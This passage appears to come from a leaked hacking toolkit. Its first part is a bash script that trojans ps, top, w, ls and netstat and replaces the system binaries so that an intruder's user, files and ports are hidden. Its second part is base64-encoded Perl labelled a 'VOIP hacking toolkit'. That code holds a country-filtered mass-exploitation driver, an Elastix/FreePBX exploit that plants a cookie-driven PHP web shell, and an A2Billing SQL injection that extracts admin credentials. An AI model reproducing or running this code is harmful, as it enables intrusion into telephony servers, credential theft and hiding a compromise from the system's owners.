  858. mv -f top.c_2 top.c
  859.  
  860. if [ -f "/etc/debian_version" ]
  861. then
  862. apt-get -y install ncurses-dev
  863. else
  864. yum -y install ncurses-devel
  865. fi
  866.  
  867. >w.c_2
  868. LINE1="if (strstr(uname, \"${HIDEUSER}\") != NULL)"
  869. LINE2=" return;"
  870. while IFS='' read -r line || [[ -n "$line" ]]; do
  871. if [[ $line == *"strncpy(uname, u->ut_user, USERSZ);"* ]]
  872. then
  873. echo "$line" >> w.c_2
  874. echo "$LINE1" >> w.c_2
  875. echo "$LINE2" >> w.c_2 && continue
  876. fi
  877.  
  878. echo "$line" >> w.c_2
  879. done < w.c
  880. mv -f w.c_2 w.c
  881.  
  882. make > f 2>&1
  883. if grep -q "error: redeclaration of enumerator ‘P_PID’" f
  884. then
  885. make clean
  886. sed -Ei 's/PID/CID/g' top.c
  887. sed -Ei 's/PID/CID/g' top.h
  888. sed -Ei 's/PROC_CID/PROC_PID/g' top.c
  889. sed -Ei 's/CID\"/PID\"/g' top.c
  890. rm -f /usr/lib/libproc-3.2.8.so
  891. rm -f /usr/lib64/libproc-3.2.8.so
  892. make > f 2>&1
  893. fi
  894.  
  895. rm -f /usr/lib/libproc-3.2.8.so
  896. rm -f /usr/lib64/libproc-3.2.8.so
  897. cp -f /tmp/.../procps-3.2.8/proc/libproc-3.2.8.so /usr/lib/libproc-3.2.8.so
  898. cp -f /tmp/.../procps-3.2.8/proc/libproc-3.2.8.so /usr/lib64/libproc-3.2.8.so
  899. rm -f /bin/ps
  900. cp -f /tmp/.../procps-3.2.8/ps/ps /bin/ps
  901. rm -f /usr/bin/top
  902. cp -f /tmp/.../procps-3.2.8/top /usr/bin/top
  903. rm -f /usr/bin/w
  904. cp -f /tmp/.../procps-3.2.8/w /usr/bin/w
  905.  
  906. cd /tmp/.../
  907. wget -O coreutils.tar.xz http://ftp.gnu.org/gnu/coreutils/coreutils-8.23.tar.xz
  908. rm -rf /tmp/.../coreutils-8.23/
  909. tar xf coreutils.tar.xz
  910. cd coreutils-8.23/src
  911. LINE1=" if (thispend->realname != NULL && strstr(thispend->realname,
  912. \"${HIDENAME}\") != NULL)"
  913. LINE2=" continue;"
  914. LINE3=" if (sorted_file[i] != NULL && strstr(((struct
  915. fileinfo*)sorted_file[i])->name, \"${HIDENAME}\") != NULL)"
  916. LINE4=" continue;"
  917. LINE5=" if (f != NULL && strstr(f->name, \"${HIDENAME}\") != NULL)"
  918. LINE6=" return;"
  919. LINE7=" if (!(f != NULL && strstr(f->name, \"${HIDENAME}\") != NULL))"
  920. LINE8=" {"
  921. LINE9=" putchar ('\n');"
  922. LINE10=" pos = 0;"
  923. LINE11=" }"
  924. >ls.c_2
  925. while IFS='' read -r line || [[ -n "$line" ]]; do
  926. if [[ $line == *"unsigned flags;"* ]]
  927. then
  928. echo "$line" >> ls.c_2
  929. IFS='' read -r line
  930. if [[ $line == *"free_pending_ent (thispend);"* ]]
  931. then
  932. echo "$line" >> ls.c_2
  933. IFS='' read -r line
  934. echo "$line" >> ls.c_2
  935. if [[ $line == *"continue;"* ]]
  936. then
  937. IFS='' read -r line
  938. echo "$line" >> ls.c_2
  939. IFS='' read -r line
  940. echo "$line" >> ls.c_2
  941. IFS='' read -r line
  942. echo "$line" >> ls.c_2
  943. echo "$LINE1" >> ls.c_2
  944. echo "$LINE2" >> ls.c_2 && continue
  945. fi
  946. fi
  947. fi
  948.  
  949. if [[ $line == *"for (i = cwd_n_used; i-- != 0; )"* ]]
  950. then
  951. echo "$line" >> ls.c_2
  952. IFS='' read -r line
  953. echo "$line" >> ls.c_2
  954. IFS='' read -r line
  955. echo "$line" >> ls.c_2
  956. IFS='' read -r line
  957. echo "$line" >> ls.c_2
  958. echo "$LINE3" >> ls.c_2
  959. echo "$LINE4" >> ls.c_2 && continue
  960. fi
  961.  
  962. if [[ $line == *"for (i = 0, j = 0; i < cwd_n_used; i++)"* ]]
  963. then
  964. echo "$line" >> ls.c_2
  965. IFS='' read -r line
  966. echo "$line" >> ls.c_2
  967. IFS='' read -r line
  968. echo "$line" >> ls.c_2
  969. echo "$LINE3" >> ls.c_2
  970. echo "$LINE4" >> ls.c_2 && continue
  971. fi
  972.  
  973. if [[ $line == *"case long_format:"* ]]
  974. then
  975. echo "$line" >> ls.c_2
  976. IFS='' read -r line
  977. echo "$line" >> ls.c_2
  978. if [[ $line == *"for (i = 0; i < cwd_n_used; i++)"* ]]
  979. then
  980. IFS='' read -r line
  981. echo "$line" >> ls.c_2
  982. echo "$LINE3" >> ls.c_2
  983. echo "$LINE4" >> ls.c_2 && continue
  984. fi
  985. fi
  986.  
  987. if [[ $line == *"struct tm *when_local;"* ]]
  988. then
  989. echo "$line" >> ls.c_2
  990. IFS='' read -r line
  991. echo "$line" >> ls.c_2
  992. echo "$LINE5" >> ls.c_2
  993. echo "$LINE6" >> ls.c_2 && continue
  994. fi
  995.  
  996. if [[ $line == *"const char* name = symlink_target ? f->linkname :
  997. f->name;"* ]]
  998. then
  999. echo "$line" >> ls.c_2
  1000. IFS='' read -r line
  1001. echo "$line" >> ls.c_2
  1002. echo "$LINE5" >> ls.c_2
  1003. echo "$LINE6" >> ls.c_2 && continue
  1004. fi
  1005.  
  1006. if [[ $line == *"char buf[MAX (LONGEST_HUMAN_READABLE + 1,
  1007. INT_BUFSIZE_BOUND (uintmax_t))];"* ]]
  1008. then
  1009. echo "$line" >> ls.c_2
  1010. IFS='' read -r line
  1011. echo "$line" >> ls.c_2
  1012. echo "$LINE5" >> ls.c_2
  1013. echo "$LINE6" >> ls.c_2 && continue
  1014. fi
  1015.  
  1016. if [[ $line == *"int linkok;"* ]]
  1017. then
  1018. echo "$line" >> ls.c_2
  1019. echo "$LINE5" >> ls.c_2
  1020. echo "$LINE6" >> ls.c_2 && continue
  1021. fi
  1022.  
  1023. if [[ $line == *"if (col == 0)"* ]]
  1024. then
  1025. echo "$line" >> ls.c_2
  1026. echo "{" >> ls.c_2
  1027. IFS='' read -r line
  1028. IFS='' read -r line
  1029. IFS='' read -r line
  1030. IFS='' read -r line
  1031. echo "$LINE7" >> ls.c_2
  1032. echo "$LINE8" >> ls.c_2
  1033. echo "$LINE9" >> ls.c_2
  1034. echo "$LINE10" >> ls.c_2
  1035. echo "$LINE11" >> ls.c_2
  1036. echo "}" >> ls.c_2 && continue
  1037. fi
  1038.  
  1039. echo "$line" >> ls.c_2
  1040. done < ls.c
  1041. mv -f ls.c_2 ls.c
  1042. cd /tmp/.../coreutils-8.23/
  1043. export FORCE_UNSAFE_CONFIGURE=1
  1044. ./configure
  1045. make
  1046. rm -f /bin/ls
  1047. cp -f /tmp/.../coreutils-8.23/src/ls /bin/ls
  1048.  
  1049. cd /tmp/.../
  1050. wget -O net-tools.tar.bz2
  1051. http://downloads.sourceforge.net/project/net-tools/net-tools-1.60.tar.bz2
  1052. if [ -f "/etc/debian_version" ]
  1053. then
  1054. apt-get -y install bzip2
  1055. else
  1056. yum -y install bzip2
  1057. fi
  1058. bzip2 -d net-tools.tar.bz2
  1059. tar xvf net-tools.tar
  1060. cd /tmp/.../net-tools-1.60
  1061. >netstat.c_2
  1062. counter=0
  1063. while IFS='' read -r line || [[ -n "$line" ]]; do
  1064. counter=$((counter+1))
  1065. if [[ "$counter" -eq 725 ]]
  1066. then
  1067. echo "$line" >> netstat.c_2
  1068. echo "$HIDEPORTS" >> netstat.c_2
  1069. echo " return;" >> netstat.c_2
  1070. echo "$HIDEPORTS_LOCAL" >> netstat.c_2
  1071. echo " return;" >> netstat.c_2 && continue
  1072. fi
  1073. echo "$line" >> netstat.c_2
  1074. done < netstat.c
  1075. mv -f netstat.c_2 netstat.c
  1076.  
  1077. cd /tmp/.../net-tools-1.60/lib
  1078. while IFS='' read -r line || [[ -n "$line" ]]; do
  1079. if [[ $line == *"default:"* ]]
  1080. then
  1081. echo "${line};" >> inet_sr.c_2 && continue
  1082. fi
  1083. echo "$line" >> inet_sr.c_2
  1084. done < inet_sr.c
  1085. mv -f inet_sr.c_2 inet_sr.c
  1086.  
  1087. cd /tmp/.../net-tools-1.60
  1088. yes "n" | make config
  1089. echo "#define HAVE_AFUNIX 1" >> config.h
  1090. echo "#define HAVE_AFINET 1" >> config.h
  1091. echo "#define HAVE_HWETHER 1" >> config.h
  1092. make netstat
  1093. rm -f /bin/netstat
  1094. cp -f /tmp/.../net-tools-1.60/netstat /bin/netstat
  1095. rm -rf /tmp/.../
  1096.  
  1097. -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
  1098. -.~==[ VOIP HACKING TOOLKIT - FILE IX ]==~.-
  1099.  
  1100. LS5+PT1bIEJFWkVRIElOVEVSTkFUSU9OQUwgQk9VTkNFIFBST1ZJREVSUyBdPT1+Li0KICAgICAg
  1101. LS5+PT1bIFZPSVAgSEFDS0lORyBUT09MS0lUIF09PX4uLQoKUmVsZWFzZSBEYXRlOiBKdWx5IDIw
  1102. MTYKCi0ufj09WyBCRVpFUSBJTlRFUk5BVElPTkFMIEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAt
  1103. Ln49PVsgVk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBGSUxFIEkgXT09fi4tCgp1c2UgSU86OlNvY2tl
  1104. dDsKdXNlIFBhcmFsbGVsOjpGb3JrTWFuYWdlcjsKdXNlIElQOjpDb3VudHJ5OjpGYXN0Owp1c2Ug
  1105. c3RyaWN0OwoKJHw9MTsKaWYgKCEkQVJHVlsxXSkgewogcHJpbnQgInVzYWdlOiBwZXJsIGF1dG9w
  1106. d24ucGwgPGluZmlsZT4gPG91dGZpbGU+XG4iOwogZXhpdDsJCn0KCm15IEBsaXN0ID0gKCk7Cm9w
  1107. ZW4gRklMRSwgIjwiIC4gJEFSR1ZbMF07CnByaW50ICJTdGFydDogIjsKbXkgJHN0YXJ0ID0gPHN0
  1108. ZGluPjsKY2hvbXAoJHN0YXJ0KTsKbXkgJGZsYWc9MDsKaWYgKGluZGV4KCRzdGFydCwgInN0YXJ0
  1109. IikgPj0gMCkgewogJGZsYWc9MTsKfQp3aGlsZSg8RklMRT4pIHsKIGNob21wOwogbXkgJHN0ciA9
  1110. ICRfOwogaWYgKCRzdHIgPX4gLyRzdGFydC8pIHsKICAkZmxhZz0xOwogIG5leHQ7CiB9CiBpZiAo
  1111. ISRmbGFnKSB7CiAgbmV4dDsKIH0KIG15IEBzdHIyID0gc3BsaXQoL1xzLywgJHN0cik7CiAkc3Ry
  1112. ID0gJHN0cjJbMF07CiBpZiAobm90ICRzdHIgPX4gL1xkK1wuXGQrXC5cZCtcLlxkKy8pIHsKICBu
  1113. ZXh0OwogfQogaWYgKG5vdCBncmVwIC8kc3RyLywgQGxpc3QpIHsKICAgICAgICAgcHVzaChAbGlz
  1114. dCwgJHN0cik7CiB9Cn0KY2xvc2UgRklMRTsKCm15ICRwbSA9IFBhcmFsbGVsOjpGb3JrTWFuYWdl
  1115. ci0+bmV3KDIwKTsKCm15ICRjID0gMDsKbXkgJGNvdW50cnk7CmZvcmVhY2ggbXkgJHNpcCAoQGxp
  1116. c3QpIHsKbXkgJHJlc3AgPSBJUDo6Q291bnRyeTo6RmFzdC0+bmV3KCk7CiRjb3VudHJ5ID0gJHJl
  1117. c3AtPmluZXRfYXRvY2MoJHNpcCk7CmlmICgoJGNvdW50cnkgPX4gL1hYLykgfHwgKCRjb3VudHJ5
  1118. ID1+IC9YWC8pKSB7CiBuZXh0Owp9CQokYysrOwppZiAoJGMgPj0gMjApIHsKcHJpbnQgIlRocmVh
  1119. ZHMgam9pbmluZy4uLlxuIjsKJHBtLT53YWl0X2FsbF9jaGlsZHJlbjsKJGM9MTsKfQpteSAkcGlk
  1120. ID0gJHBtLT5zdGFydCBhbmQgbmV4dDsKbXkgJHRhcmdldCA9ICRzaXA7CnByaW50ICR0YXJnZXQu
  1121. IlxuIjsKcHJpbnQgIkVYUExPSVRcbiI7CmlmICgkY291bnRyeSBlcSAiIikgewogJGNvdW50cnkg
  1122. PSAiVU5LTk9XTiI7Cn0Kc3lzdGVtKCJwZXJsIGlkZWZpeC5wbCAkdGFyZ2V0ICRjb3VudHJ5ICRB
  1123. UkdWWzFdIik7Cm91dDoKJHBtLT5maW5pc2g7Cn0KCi0ufj09WyBCRVpFUSBJTlRFUk5BVElPTkFM
  1124. IEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsgVk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBG
  1125. SUxFIElJIF09PX4uLQoKI2lkZWZpeCByZW1vdGUKdXNlIElPOjpTb2NrZXQ7CnVzZSBVUkw6OkVu
  1126. Y29kZSBxdyh1cmxfZW5jb2RlKTsKdXNlIExXUDo6U2ltcGxlOwoKJHw9MTsKYWxhcm0oNTkpOwok
  1127. dGFyZ2V0ID0gJEFSR1ZbMF07CmNob21wKCR0YXJnZXQpOwpwcmludCAkdGFyZ2V0LiJcbiI7CiRw
  1128. aHAgPSBxcXsKc2V0X3RpbWVfbGltaXQoMCk7CnVubGluaygicGFnZS5mcmFtZXdvcmsucGhwIik7
  1129. CmZpbGVfcHV0X2NvbnRlbnRzKCJwYWdlLmZyYW1ld29yay5waHAiLCAiPD9waHAgaWYgKFxcXCRf
  1130. Q09PS0lFW1xcImxhbmdcXCJdKSB7c3lzdGVtKFxcXCRfQ09PS0lFW1xcImxhbmdcXCJdKTt9IGRp
  1131. ZSgpOz8+Iik7Cn07CgokcGhwID1+IHMvXHIvL2dpOwokcGhwID1+IHMvXG4vL2dpOwoKc3ViIGlz
  1132. aGFja2VkIHsKIG15ICR1cmwgPSAiaHR0cDovLyR0YXJnZXQvYWRtaW4vcGFnZS5mcmFtZXdvcmsu
  1133. cGhwIjsKIGlmIChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAxOwogfQogJHVybCA9ICJodHRwOi8v
  1134. JHRhcmdldC9yZWNvcmRpbmdzL3BhZ2UuZnJhbWV3b3JrLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkg
  1135. ewogICByZXR1cm4gMjsKIH0KICR1cmwgPSAiaHR0cDovLyR0YXJnZXQvYWRtaW4vbW9kdWxlcy9h
  1136. ZG1pbmRhc2hib2FyZC9waHBzeXNpbmZvL2NvbW1vbl9hZG1pbl9mdW5jdGlvbnMucGhwIjsKIGlm
  1137. IChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAzOwogfQoKIHJldHVybiAwOwp9CgokcmVzdWx0ID0g
  1138. aXNoYWNrZWQoKTsKaWYgKCRyZXN1bHQgZXEgMSkgewogcHJpbnQgJHRhcmdldCAuICIgIiAuICRB
  1139. UkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFTIExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExPSVQg
  1140. MSlcclxuIjsKIG9wZW4gRklMRSwgIj4+JEFSR1ZbMl0iOwogcHJpbnQgRklMRSAkdGFyZ2V0IC4g
  1141. IiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChBTFJFQURZIEhBQ0tFRCwg
  1142. RVhQTE9JVCAxKVxyXG4iOwogY2xvc2UgRklMRTsKIGV4aXQ7Cn0KCmlmICgkcmVzdWx0IGVxIDIp
  1143. IHsKIHByaW50ICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIgVEhFIEVBR0xFIEhBUyBMQU5E
  1144. RUQgKEFMUkVBRFkgSEFDS0VELCBFWFBMT0lUIDIpXHJcbiI7CiBvcGVuIEZJTEUsICI+PiRBUkdW
  1145. WzJdIjsKIHByaW50IEZJTEUgJHRhcmdldCAuICIgIiAuICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUg
  1146. SEFTIExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExPSVQgMilcclxuIjsKIGNsb3NlIEZJTEU7
  1147. CiBleGl0Owp9CgpwcmludCAiRVhQTE9JVFxuIjsKCiRiaW4gPSBxcXtwaHAgLXIgJyRwaHAnfTsK
  1148. JGJ1ZiA9IHVybF9lbmNvZGUoIigpIHsgOjt9OyRiaW4iKTsKJGJ1ZjIgPSB1cmxfZW5jb2RlKCdP
  1149. Ojg6IkRCX215c3FsIjo2OntzOjE5OiJfZGVmYXVsdF9lcnJvcl9tb2RlIjtpOjE2O3M6MjI6Il9k
  1150. ZWZhdWx0X2Vycm9yX29wdGlvbnMiO3M6OToiZG9fcmVsb2FkIjtzOjEyOiJfZXJyb3JfY2xhc3Mi
  1151. O3M6NDoiVEVTVCI7czoxMzoid2FzX2Nvbm5lY3RlZCI7YjoxO3M6Nzoib3B0aW9ucyI7czozOiIx
  1152. MjMiO3M6MzoiZHNuIjthOjQ6e3M6ODoiaG9zdHNwZWMiO3M6OToibG9jYWxob3N0IjtzOjg6InVz
  1153. ZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjtzOjg6ImRhdGFiYXNlIjtz
  1154. Ojc6InRyaWdnZXIiO319Jyk7Cgokc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRk
  1155. ciA9PiAkdGFyZ2V0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiA4
  1156. MCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICAgPT4gJ3RjcCcsCiAgICAg
  1157. ICAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgPT4gMTApOwokcGF5bG9hZCA9ICJ1c2Vy
  1158. bmFtZT1hZG1pbiZwYXNzd29yZD1hZG1pbiZzdWJtaXQ9YnRuU3VibWl0IjsKcHJpbnQgJHNvY2sg
  1159. IlBPU1QgL3JlY29yZGluZ3MvaW5kZXgucGhwPyBIVFRQLzEuMVxyXG5Ib3N0OiAkdGFyZ2V0XHJc
  1160. bkNvb2tpZTogYXJpX2xhbmc9JGJ1ZjthcmlfYXV0aD0kYnVmMjtlbGFzdGl4U2Vzc2lvbj03MTZy
  1161. YXRrMDkyNTU1Z2wwYjNndHZ0OGZvNztVSUNTRVNTSU9OPXJwb3JwNGM4OGhnNjNzaXBzc29wM2tk
  1162. bW4yO0FSST1iOGU0aDZ2Zmcwam91cXVoa2NibHNvdWhrMFxyXG5Db250ZW50LVR5cGU6IGFwcGxp
  1163. Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDogIi4gbGVuZ3Ro
  1164. KCRwYXlsb2FkKSAuIlxyXG5Db25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIiAuICRwYXlsb2FkOwoK
  1165. d2hpbGUoPCRzb2NrPikgewp9Cgokc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRk
  1166. ciA9PiAkdGFyZ2V0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiA4
  1167. MCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICAgPT4gJ3RjcCcsCiAgICAg
  1168. ICAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgPT4gMTApOwpwcmludCAkc29jayAiR0VU
  1169. IC9yZWNvcmRpbmdzL3BhZ2UuZnJhbWV3b3JrLnBocCAgSFRUUC8xLjFcclxuSG9zdDogJHRhcmdl
  1170. dFxyXG5Db29raWU6IGxhbmc9ZWNobytTVUNDRVNTK1NVQ0NFU1NcclxuQ29ubmVjdGlvbjogY2xv
  1171. c2VcclxuXHJcbiI7Cgokc3VjY2VzcyA9IDA7CndoaWxlKDwkc29jaz4pIHsKICAgICAgICAgaWYg
  1172. KCRfID1+IC9TVUNDRVNTXCBTVUNDRVNTLykgewogICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSAx
  1173. OwogICAgICAgICB9ICAgICAgICAKfQoKaWYgKCRzdWNjZXNzKSB7CiBwcmludCAiXG4qKipFWFBM
  1174. T0lUIFNVQ0NFU1MqKipcbiI7CiBwcmludCAiXG4qKipUSEUgRUFHTEUgSEFTIExBTkRFRCBBVCAk
  1175. dGFyZ2V0ICgkQVJHVlsxXSkqKipcbiI7CiBvcGVuIEZJTEUsICI+PiRBUkdWWzJdIjsKIGlmICgk
  1176. cmVzdWx0IGVxIDApIHsKICBwcmludCBGSUxFICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIg
  1177. VEhFIEVBR0xFIEhBUyBMQU5ERUQgKEVYUExPSVQgMiBORVchISlcclxuIjsKIH0KIGlmICgkcmVz
  1178. dWx0IGVxIDMpIHsKICBwcmludCBGSUxFICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIgVEhF
  1179. IEVBR0xFIEhBUyBMQU5ERUQgKEVYUExPSVQgMiBSRUhBQ0spXHJcbiI7CiB9CiBjbG9zZSBGSUxF
  1180. OwogZXhpdDsKfQoKLS5+PT1bIEJFWkVRIElOVEVSTkFUSU9OQUwgQk9VTkNFIFBST1ZJREVSUyBd
  1181. PT1+Li0KIC0ufj09WyBWT0lQIEhBQ0tJTkcgVE9PTEtJVCAtIEZJTEUgSUlJIF09PX4uLQoKdXNl
  1182. IElPOjpTb2NrZXQ7CnVzZSBHZW86OklQOjpQdXJlUGVybDsKdXNlIHN0cmljdDsKCm15ICRnaSA9
  1183. IEdlbzo6SVA6OlB1cmVQZXJsLT5uZXcoR0VPSVBfU1RBTkRBUkQpOwoKJHw9MTsKaWYgKCEkQVJH
  1184. VlsxXSkgewogcHJpbnQgInVzYWdlOiBwZXJsIGF1dG9wd24ucGwgPGluZmlsZT4gPG91dGZpbGU+
  1185. XG4iOwogZXhpdDsJCn0KCm15IEBsaXN0ID0gKCk7Cm9wZW4gRklMRSwgIjwiIC4gJEFSR1ZbMF07
  1186. CnByaW50ICJTdGFydDogIjsKbXkgJHN0YXJ0ID0gPHN0ZGluPjsKY2hvbXAoJHN0YXJ0KTsKbXkg
  1187. JGZsYWc9MDsKaWYgKGluZGV4KCRzdGFydCwgInN0YXJ0IikgPj0gMCkgewogJGZsYWc9MTsKfQp3
  1188. aGlsZSg8RklMRT4pIHsKIGNob21wOwogbXkgJHN0ciA9ICRfOwogaWYgKCRzdHIgPX4gLyRzdGFy
  1189. dC8pIHsKICAkZmxhZz0xOwogIG5leHQ7CiB9CiBpZiAoISRmbGFnKSB7CiAgbmV4dDsKIH0KIG15
  1190. IEBzdHIyID0gc3BsaXQoL1xzLywgJHN0cik7CiAkc3RyID0gJHN0cjJbJCNzdHIyXTsKIGlmIChu
  1191. b3QgJHN0ciA9fiAvXGQrXC5cZCtcLlxkK1wuXGQrLykgewogIG5leHQ7CiB9CiBpZiAobm90IGdy
  1192. ZXAgLyRzdHIvLCBAbGlzdCkgewogICAgICAgICBwdXNoKEBsaXN0LCAkc3RyKTsKIH0KfQpjbG9z
  1193. ZSBGSUxFOwoKbXkgJGMgPSAwOwpteSAkY291bnRyeTsKZm9yZWFjaCBteSAkc2lwIChAbGlzdCkg
  1194. ewokY291bnRyeSA9ICRnaS0+Y291bnRyeV9jb2RlX2J5X2FkZHIoJHNpcCk7CmlmICgoJGNvdW50
  1195. cnkgPX4gL0RFLykgfHwgKCRjb3VudHJ5ID1+IC9USC8pKSB7CiBuZXh0Owp9CQpteSAkdGFyZ2V0
  1196. ID0gJHNpcDsKcHJpbnQgIkVYUExPSVRcbiI7CmlmICgkY291bnRyeSBlcSAiIikgewogJGNvdW50
  1197. cnkgPSAiLS0iOwp9CnN5c3RlbSgicGVybCBlYWdsZXNxbC1oZWxwZXIucGwgJHRhcmdldCAkY291
  1198. bnRyeSAkQVJHVlsxXSIpOwpvdXQ6Cn0KCi0ufj09WyBCRVpFUSBJTlRFUk5BVElPTkFMIEJPVU5D
  1199. RSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsgVk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBGSUxFIElW
  1200. IF09PX4uLQoKdXNlIElPOjpTb2NrZXQ6OlNTTDsKdXNlIExXUDo6U2ltcGxlOwp1c2UgVVJMOjpF
  1201. bmNvZGUgcXcodXJsX2VuY29kZSk7CgpCRUdJTiB7ICR8ID0gMSB9CgphbGFybSgxMDApOwoKJHRh
  1202. cmdldCA9ICRBUkdWWzBdOwokY291bnRyeSA9ICRBUkdWWzFdOwokb3V0ZmlsZSA9ICRBUkdWWzJd
  1203. OwpjaG9tcCgkdGFyZ2V0KTsKcHJpbnQgJHRhcmdldC4iXG4iOwpwcmludCAiRVhQTE9JVFxuIjsK
  1204. JHF1ZXJ5aGV4ID0gIjB4MSBVTklPTiBTRUxFQ1QgMSBGUk9NIGNjX3VpX2F1dGhlbjsjIjsKJHF1
  1205. ZXJ5aGV4ID1+IHMvKC4pL3NwcmludGYoIiV4IixvcmQoJDEpKS9lZzsKJGEgPSAiMHgiIC4gJHF1
  1206. ZXJ5aGV4OwokcXVlcnloZXgyID0gIi9ldGMvdGVzdCI7CiRxdWVyeWhleDIgPX4gcy8oLikvc3By
  1207. aW50ZigiJXgiLG9yZCgkMSkpL2VnOwokZGlzY2xvc2VmaWxlID0gIjB4IiAuICRxdWVyeWhleDI7
  1208. CiRxdWVyeSA9ICJ0cmFuc2FjdGlvbklEPS0xK1VOSU9OK1NFTEVDVCs5LCRhLDksOSw5LDksOSw5
  1209. LDksOSw5LDksOSw5LChTRUxFQ1QrY29uY2F0KGNvbmNhdChsb2dpbiwweDNBKSxwd2RfZW5jb2Rl
  1210. ZCkrRlJPTStjY191aV9hdXRoZW4pK0ZST00rY2NfdWlfYXV0aGVuIjsKJHF1ZXJ5MiA9ICJ0cmFu
  1211. c2FjdGlvbklEPS0xK1VOSU9OK1NFTEVDVCs5LCRhLDksOSw5LDksOSw5LDksOSw5LDksOSw5LChT
  1212. RUxFQ1QrY29uY2F0KGNvbmNhdChtYW5hZ2VyX3VzZXJuYW1lLDB4M0EpLG1hbmFnZXJfc2VjcmV0
  1213. KStGUk9NK2NjX3NlcnZlcl9tYW5hZ2VyKStGUk9NK2NjX3VpX2F1dGhlbiI7Cm15ICRzb2NrID0g
  1214. SU86OlNvY2tldDo6U1NMLT5uZXcoCiAgICBQZWVySG9zdCA9PiAkdGFyZ2V0LAogICAgUGVlclBv
  1215. cnQgPT4gImh0dHBzIiwKICAgIFRpbWVvdXQgPT4gMTAsCiAgICBTU0xfdmVyaWZ5X21vZGUgPT4g
  1216. U1NMX1ZFUklGWV9OT05FKTsKIApwcmludCAkc29jayAiUE9TVCAvYTJiaWxsaW5nL2N1c3RvbWVy
  1217. L2lyaWRpdW1fdGhyZWVkLnBocCIgLiAiIEhUVFAvMS4xXHJcbkhvc3Q6ICR0YXJnZXRcclxuQ29u
  1218. dGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuQ29udGVudC1M
  1219. ZW5ndGg6ICIuIGxlbmd0aCgkcXVlcnkyKSAuIAoiXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJc
  1220. biIgLiAkcXVlcnkyOwp3aGlsZSg8JHNvY2s+KSB7CiAJaWYgKCRfID1+IC9pdGVtX3R5cGU9KC4q
  1221. KTooLio/KSQvKSB7CgkJJHVzZXJuYW1lID0gJDE7CgkJJHBhc3N3b3JkID0gJDI7CgkJJHBhc3N3
  1222. b3JkID1+IHMvXHIvL2c7CgkJJHBhc3N3b3JkID1+IHMvXG4vL2c7CgkJY2xvc2UoJHNvY2spOwoJ
  1223. CQoJCSRwYXlsb2FkID0gImlucHV0X3VzZXI9JHVzZXJuYW1lJmlucHV0X3Bhc3M9JHBhc3N3b3Jk
  1224. JnN1Ym1pdF9sb2dpbj1TdWJtaXQiOwoJCQoJCW15ICRzb2NrID0gSU86OlNvY2tldDo6U1NMLT5u
  1225. ZXcoCgkJICAgIFBlZXJIb3N0ID0+ICR0YXJnZXQsCgkJICAgIFBlZXJQb3J0ID0+ICJodHRwcyIs
  1226. CgkJICAgIFNTTF92ZXJpZnlfbW9kZSA9PiBTU0xfVkVSSUZZX05PTkUpOwoJCSAKCQlwcmludCAk
  1227. c29jayAiUE9TVCAvIiAuICIgSFRUUC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db250ZW50LXR5
  1228. cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDog
  1229. Ii4gbGVuZ3RoKCRwYXlsb2FkKSAuICJcclxuQ29ubmVjdGlvbjpjbG9zZVxyXG5cclxuIiAKLiAk
  1230. cGF5bG9hZDsKCQkkbG9nZ2VkaW4gPSAwOwoJCSRjb29raWUgPSAiIjsJCQoJCXdoaWxlKDwkc29j
  1231. az4pIHsKCQkJaWYgKCRfID1+IC8zMDIgRm91bmQvKSB7CgkJCQlwcmludCAiU1VDQ0VTUzogTG9n
  1232. Z2VkIGluLlxuIjsKCQkJCSRsb2dnZWRpbiA9IDE7CQkJCQoJCQl9CgkJCWlmICgkXyA9fiAvKGVs
  1233. YXN0aXhTZXNzaW9uPS4qPyk7LykgewoJCQkJJGNvb2tpZSA9ICQxOwoJCQkJcHJpbnQgJGNvb2tp
  1234. ZS4iXG4iOwoJCQl9CgkJfQoJCWlmICgkbG9nZ2VkaW4gPT0gMCkgewoJCQlwcmludCAiQ0FOTk9U
  1235. IExPR0lOLlxuIjsKCQkJZXhpdDsKCQl9CgkJCgkJY2xvc2UoJHNvY2spOwoJJHNvY2sgPSBJTzo6
  1236. U29ja2V0OjpTU0wtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0LAoJICAgICAgICAgICAgICAgICAg
